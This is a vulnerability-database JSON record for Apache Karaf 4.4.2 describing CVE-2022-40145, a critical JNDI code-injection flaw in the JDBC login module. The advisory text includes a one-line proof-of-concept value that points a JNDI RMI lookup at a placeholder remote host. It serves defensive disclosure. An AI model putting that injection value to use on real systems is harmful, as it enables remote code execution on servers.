{"url":"http://public2.vulnerablecode.io/api/packages/383924?format=json","purl":"pkg:maven/org.apache.karaf/apache-karaf@4.4.2","type":"maven","namespace":"org.apache.karaf","name":"apache-karaf","version":"4.4.2","qualifiers":{},"subpath":"","is_vulnerable":false,"next_non_vulnerable_version":"3.0.9","latest_non_vulnerable_version":"4.4.2","affected_by_vulnerabilities":[],"fixing_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/174000?format=json","vulnerability_id":"VCID-stzb-em64-77ad","summary":"This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2022-40145.json","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2022-40145.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2022-40145","reference_id":"","reference_type":"","scores":[{"value":"0.05385","scoring_system":"epss","scoring_elements":"0.90324","published_at":"2026-06-11T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2022-40145"},{"reference_url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1"},{"reference_url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341"},{"reference_url":"https://github.com/apache/karaf","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/apache/karaf"},{"reference_url":"https://github.com/apache/karaf/pull/1632","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/apache/karaf/pull/1632"},{"reference_url":"https://issues.apache.org/jira/browse/KARAF-7568","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://issues.apache.org/jira/browse/KARAF-7568"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40145","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40145"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2257304","reference_id":"2257304","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2257304"},{"reference_url":"https://karaf.apache.org/security/cve-2022-40145.txt","reference_id":"cve-2022-40145.txt","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2025-04-15T18:02:30Z/"}],"url":"https://karaf.apache.org/security/cve-2022-40145.txt"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/383923?format=json","purl":"pkg:maven/org.apache.karaf/apache-karaf@4.3.8","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/org.apache.karaf/apache-karaf@4.3.8"},{"url":"http://public2.vulnerablecode.io/api/packages/383924?format=json","purl":"pkg:maven/org.apache.karaf/apache-karaf@4.4.2","is_vulnerable":false,"affected_by_vulnerabilities":[],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/org.apache.karaf/apache-karaf@4.4.2"}],"aliases":["CVE-2022-40145","GHSA-c2p4-8mvv-rwmv"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-stzb-em64-77ad"}],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:maven/org.apache.karaf/apache-karaf@4.4.2"}